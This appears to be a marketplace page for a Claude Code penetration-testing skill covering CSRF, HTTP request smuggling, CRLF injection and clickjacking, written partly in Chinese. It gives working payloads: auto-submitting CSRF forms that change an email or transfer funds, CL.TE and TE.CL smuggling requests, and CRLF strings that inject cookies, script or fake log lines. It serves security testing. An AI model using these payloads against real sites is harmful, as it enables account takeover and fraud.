/vuln-skills:pentest-request-forgeryfrom vuln-skills
Provides patterns and techniques for testing request forgery vulnerabilities including CSRF, HTTP request smuggling, CRLF injection, and clickjacking.
Ships in vuln-skills. Installing the plugin adds it to Claude Code.
What the skill costs in Claude's context, stage by stage
Name and description: Claude knows it exists.
SKILL.md joins the conversation and stays.
Read when SKILL.md points to them.
当对 Web 应用进行请求伪造渗透测试时加载此 Skill。覆盖 CSRF、HTTP 请求走私、CRLF 注入、Clickjacking 等。
CSRF 高风险功能:
HTTP 请求走私目标:
CRLF 注入点:
CSRF 攻击:
<!-- 基础 CSRF(无 token 保护) -->
<form action="https://target.com/api/change-email" method="POST">
<input type="hidden" name="email" value="[email protected]">
<input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
<!-- JSON 内容类型 CSRF -->
<form action="https://target.com/api/transfer" method="POST"
enctype="text/plain">
<input name='{"amount":1000,"to":"attacker","x":"' value='"}'>
</form>
CSRF 防护绕过:
<meta name="referrer" content="no-referrer">)HTTP 请求走私:
# CL.TE(前端用 Content-Length,后端用 Transfer-Encoding)
POST / HTTP/1.1
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
# TE.CL(前端用 Transfer-Encoding,后端用 Content-Length)
POST / HTTP/1.1
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
# HTTP/2 降级走私(H2.CL)
# 在 HTTP/2 请求中包含 Content-Length 头,降级时产生歧义
CRLF 注入:
# 注入 HTTP 响应头
https://target.com/redirect?url=http://target.com%0d%0aSet-Cookie:session=attacker
# 响应拆分(HTTP Response Splitting)
https://target.com/redirect?url=%0d%0a%0d%0a<script>alert(1)</script>
# 日志注入
username=admin%0d%0a[INFO] Fake log entry
Clickjacking:
X-Frame-Options 和 CSP frame-ancestors 是否缺失漏洞利用可达到的效果:
严重度判断:
以下案例来自 HackerOne 公开披露的真实漏洞报告,展示了该类漏洞在实际目标中的表现形式。
Versions Affected: Apache Tomcat 9.0.0-M11 to 9.0.43 Apache Tomcat 8.5.7 ...
Impact The Argo CD API prior to versions 2.10-rc2, 2.9.4, 2.8.8, and 2.7.16 are vulnerable to a cross-s...
What SKILL.md sets; muted values are Claude Code's defaults
npx claudepluginhub yhy0/ghsa-skill-builder --plugin vuln-skills26 skills in this plugin
/go-vuln-auth-bypassUse when auditing Go code involving authentication flows, RBAC policies, Kubernetes admission webhooks, JWT/OAuth token validation, or privilege escalation in cloud-native infrastructure. Covers CWE-287/863/269/284/285/862. Keywords: authentication bypass, authorization bypass, RBAC, admission webhook, JWT, OAuth, privilege escalation, Rancher, Kyverno, impersonation, namespace isolation, middleware auth/go-vuln-crypto-tlsUse when auditing Go code involving TLS configuration, certificate validation, JWT token parsing, SAML assertion verification, webhook signature checking, or cryptographic operations. Covers CWE-295/347/345. Keywords: InsecureSkipVerify, TLS, mTLS, certificate validation, JWT algorithm, SAML signature, cosign, sigstore, hmac.Equal, X.509, webhook HMAC/go-vuln-Other plugins' skills for the same job